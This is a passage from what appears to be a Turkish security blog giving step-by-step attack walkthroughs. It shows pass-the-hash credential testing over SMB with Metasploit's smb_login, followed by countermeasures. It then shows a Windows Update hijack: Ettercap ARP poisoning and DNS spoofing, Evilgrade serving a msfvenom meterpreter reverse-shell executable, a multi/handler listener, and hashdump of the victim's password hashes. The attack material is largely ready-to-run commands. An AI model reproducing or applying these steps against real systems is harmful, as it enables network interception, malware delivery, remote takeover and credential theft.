nmap –Pn –sT –p 445 192.168.172.0/24 --open | grep –oE ‘[0-9]{1,3}[\.]'
nmap komutu ile 445. portu açık olan makinelerin listelenmesi

SMB dosya paylaşımı açık olan IP'ler bulunduktan sonra sadece bu makinelere sızılmaya çalışılabildiği gibi, tüm ağdaki makineler için de sızma işlemi denemesi yapılabilir.
Sızma işlemini deneyeceğimiz makinelerde, hashdump ile şifresinin özetini elde ettiğimiz yerel yönetici hesabı ile aynı şifreyi kullanan kullanıcılar araştırılır:
search smb_login
use auxiliary/scanner/smb/smb_login
show options
smb_login modülünün incelenmesi

Seçenekler uygun şekilde ayarlanır:
set BLANK_PASSWORDS false
set RHOST 192.168.172.0/24
set SMBPASS aad3b435b51404eeaad3b435b51404ee:da8aef7a322d9ecf8d1d7e220f837176
set SMBUSER administrator
set THREADS 15
set USER_AS_PASS false
smb_login modülünün düzenlenmesi

Exploit işlemi gerçekleştirilir:
exploit
SUCCESSFUL LOGIN sonucunu dönenler "administrator" kullanıcısına ait şifrenin özeti, elimizdeki özet değer ile aynı olan makinelerdir:
smb_login kontrolünde başarılı dönen sonuç örneği

Not: FAILED LOGIN sonucunu dönenler ise başarısız exploit denemeleridir:
smb_login kontrolünde başarısız dönen sonuç örneği

Not: smb_login modülü yerine hedef odaklı olarak smb_enumusers_domain modülü de kullanılabilir. Bu modülle ilgili ayrıntılı bilgi için bakınız:
http://ertugrulbasaranoglu.blogspot.com.tr/2013/11/ipucu-smbenumusersdomain-modulu-ile.html

Önlem

  • Ağ üzerinde kurallar tanımlayarak; belirlenen IP’lere, belirlenen portlardan kontrollü bir şekilde izin verilmelidir.
  • “administrator” gibi varsayılan yerel yönetici hesaplarının isminin değiştirilmelidir. Böylece yapılacak birçok saldırıda yerel yönetici hesabının isminin kolayca ve otomatik olarak bulunmasını zorlaştıracaktır.
  • Organizasyondaki makinelerde bulunan yerel kullanıcıların şifreleri farklı ayarlanmalıdır.
  • Yerel yönetici hesaplarının şifreleri,  şifre kırma saldırılarına karşı korumak amacıyla karmaşık seçilmelidir.
  • Kullanılmayan ve ihtiyaç duyulmayan yerel yönetici hesapları kaldırılmalı veya devre dışı bırakılmalıdır.


28 Ağustos 2013 Çarşamba

İpucu: Windows Update Özelliğinin Kötüye Kullanılması

İpucu: Windows Update Özelliğinin Kötüye Kullanılması

Uygun şekilde yapılandırılmamaış ağlarda saldırgan, kurban olarak seçtiği bir bilgisayar ile bu bilgisayarın gitmek istediği hedef adresin arasına girebilir. Örneğin Windows işletim sistemini güncellemesini gerçekleştirmek isteyen kurban, Microsoft’un güncelleme sitesine gitmek yerine, saldırganın belirlediği DNS kaydına göre ilgili bir sunucuya yönlendirilebilir. Böylece Windows işletim güncellemesi yerine saldırganın gönderdiği zararlı yazılım yüklenerek kurban bilgisayar, saldırganın eline geçmiş olur.

Bu işlemler 7 adımda incelenecektir:
  • Saldırgan ve kurban bilgisayarları birbirlerine olan erişimleri kontrol edilecek
  • Evilgrade uygulaması kurulacak ve “winupdate” modülü seçilecek
  • “winupdate” modülü ve ilgili diğer kaynaklar ayarlanacak
  • Ettercap ile KurbanaDNS spoofing saldırısı gerçekleştirilecek
  • Saldırgan, kurban bilgisayardan gelen bağlantı taleplerini dinleyecek olan bir ortamı hazırlayacak
  • Kurban işletim sistemini güncellemek için talepte bulunacak ve saldırganın hazırlamış olduğu zararlı uygulamayı indirecek
  • Kurbanın zararlı yazılımı çalıştırmasıyla saldırgan kurbanın bilgisayarına bağlanacak ve hak yükseltecek

Erişimlerin Kontrolü
Kurban makine (192.168.100.78), saldırgan makineye erişebilmektedir:

Saldırgan makine (192.168.100.75), kurban makineye erişebilmektedir:


Evilgrade Uygulamasının Kurulumu ve Seçilen Modülün Seçilmesi
Öncelikle www.github.com/infobyte/evilgrade adresinden uygulama sıkıştırılmış bir dosya olarak indirilir:

Bu dosya saldırgana ait Backtrack bilgisayarına kopyalanır ve sıkıştırılmış dosya açılır. Evilgrade betiği çalıştırılır:

Modüllerin yüklenmesi beklenir:

Not: Diğer EvilGrade kurulum metodları için bakınız: http://blog.techdynamics.org/2011/07/howto-install-evilgrade-on-backtrack5.html

Not: Modüllerin listelenmesi için aşağıdaki komut çalıştırılır.
show modules

“winupdate” modülü kullanılmaya başlanır. Kullanılan komutlar aşağıdaki gibidir:
configure winupdate
show options

Not: Betik büyük/küçük harf duyarlıdır.
Üstteki ekran görüntüsünde de görüldüğü gibi “microsoft.com” üst alan adındaki bir takım sitelere erişim sağlanmaya çalışıldığında “agent.exe” adlı uygulama gönderilecektir.

“winupdate” Modülünün ve İlgili Kaynakların Ayarlanması
winupdate modülünde iki önemli nokta vardır: VirtualHost ve Agent. Bu başlıkta, 2 değere göre kaynak ayarlaması gerçekleştirilecektir.

VirtualHost: Kurban bilgisayara gerçekleştirilecek DNS Spoofing saldırısı için Ettercap adı verilen bir uygulama kullanılacaktır. Ettercap uygulaması, DNS spoofing için “/usr/local/share/ettercap/etter.dns” adlı dosyadaki DNS kayıtlarını kullanmaktadır. Bu dosya açılarak içerisine Microsoft sistemlerinin güncellenmesi için kulanılan DNS kayıtları için saldırgan tarafından belirlenen IP adresleri yazılır. Bu adres saldırganın sahip olduğu başka bir saldırı makinesi olabileceği gibi, saldırgann kullandığı Backtrack makinesi de olabilir. Örnek olarak saldırganın makinesi verilmiştir:

Agent: Kurbana gönderilecek olan ajan uygulamanın oluşturulması için msfcli, msfpayload, msfvenom, veya diğer teknikler kullanılabilir. Örnek olarak msfvenom kullanılacaktır. Bu amaçla ayrı bir konsolda msfvenom dizini tespit edilir:
which msfvenom
ls -la /usr/local/bin/msfvenom

EvilGrade uygulamasının başlatıldığı konsola geri dönülerek ajan uygulama oluşturulur. Bunun için, msfvenom kullanılarak kurbanın bağlanması istenen IP adresi (192.168.100.75) ve porta (TCP/4444) bağlantıyı sağlayacak olan “WindowsGuncellemeSaldirisi.exe” adlı bir exe oluşturulup tmp dizinine kaydedilir. Daha sonra da bu exe, ajan olarak ayarlanır.
set agent '["/opt/metasploit-4.4.0/app/msfvenom -p windows/meterpreter/reverse_tcp -e -i 3 LHOST=192.168.100.75 LPORT=4444 -f exe  1> <%OUT%>/tmp/WindowsGuncellemeSaldirisi.exe<%OUT%>"]'

Ettercap ile DNS Spoofing İşleminin Başlatılması
Öncelikle boş bir konsol kullanılarak Ettercap arayüzü açılır. Daha sonra da spoofing işlemini gerçekleştirecek olan saldırganın ilgili ağ adaptörü seçilir (Shift + U).
ettercap -G
Sniff > Unified Sniffing 

Not: Seçilen adaptörün dinleme modunda olduğu görülmektedir.

Gelinen pencerede eklentiler listelenir (CTRL + P) ve “dns_spoof” adlı eklenti iki kerek tıklanarak aktifleştirilir:
Plugins > Manage the plugins
dns_spoof

Erişim sağlanabilen sistemler taranır (CTRL + S).
Hosts > Scan for hosts

Not: Tarama sonucunda tespit edilen sistemler listelenebilir (H):
Hosts > Hosts list

Tespit edilen sistemlere Arp zehirlemesi yapılır.
Mitm > Arp poisoning
Optional parameters: Sniff remote connections.

Not: Arp zehirleme işlemin gerçekleştirileceği gruplar otomatik olarak oluşur.

Dinleme işlemi başlatılır (CTRL +W).
Start > Start Sniffing

Not: İstemcinin herhangi bir işleminde saldırgan araya girmiş bulunmaktadır.

Saldırganın Kurban Bilgisayarı Dinlemesi
Saldırgan, saldırıya geçmeden önce kurbanın bağlantıyı kurdupubnda bu bağlantıyı dinleyeceği bir ortam gereklidir. Bu ortamı netcat sağlayabileceği gibi, meterpreter kabuğu ile iletişim kurabilen handler modülü de sağlayabilir. Kurbanın kuracağı bağlantıyı dinlemek için handler modülü başlatılır ve bağlantının kurulacağı IP (192.168.100.75) ve Port (4444) bilgisi girilir.
msfconsole
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.100.75
set LPORT 4444
show options

Gerekli ayarlamalar uygun şekilde gerçekleştirildikten sonra, kurbanın bağlantıyı başlatması beklenir:

Kurbanın Windows Güncelleştirmesini Başlatması ve Zararlı Yazılımı Alması
Kurban bilgisayarda Windows işletim sistemi güncelleştirilmesi için “windows.update.microsoft.com” adresi kullanılabilir:

Not: İşletim sisteminin otomatik olarak güncellenmesi de beklenebilirdi.
Ettercap’İn DNS kayıtlarını değiştirmesi sayesinde, kurban bilgisayar, Microsoft’un sitesi yerine saldırganın makinesine gider. EvilGrade’in winupdate modülü sayesinde de, kurban bilgisayar, yasal güncelleme paketi yerine, msfvenom ile oluşturulan zararlı yazılımı indirir:

Kurban zararlı yazılımı masaüstüne kaydeder:

Not: Zararlı yazılımının talep edilmesi EvilGrade üzerinde de görülebilmektedir.

Kurbanın Zararlı Yazılımı Çalıştırması ve Saldırganın Kurban Bilgisayarına Bağlanması
Kurban masaüstündeki zararlı yazılımı çalıştırır.

Kurban bilgisayarda bu zararlı yazılım çalıştırıldığında, yazılımın oluşturulduğu PAYLOAD sayesinde, kurban, saldırganın bilgisayarına bağlantı kuracaktır. Böylece bağlantı kurulmasını bekleyen Handler modülüne bağlantı kurulmuştur:

Artık hak yükseltme işlemi gerçekleştirilebilir. Bu amaçla tüm prosesler listelenir:
ps

Sistem hakları ile çalışan uygun bir prosese sıçranır. İstenirse yerel makinedeki hesapların parola özetleri elde edilebilir veya başka işlemler gerçekleştirilebilir:
migrate 1124
getuid
hashdump


Kaynak site:
http://www.mshowto.org/mitm-saldiri-yontemi-ile-windows-server-2008-nasil-hack-edilir.html
http://r00tsec.blogspot.com/2011/07/hacking-with-evilgrade-on-backtrack5.html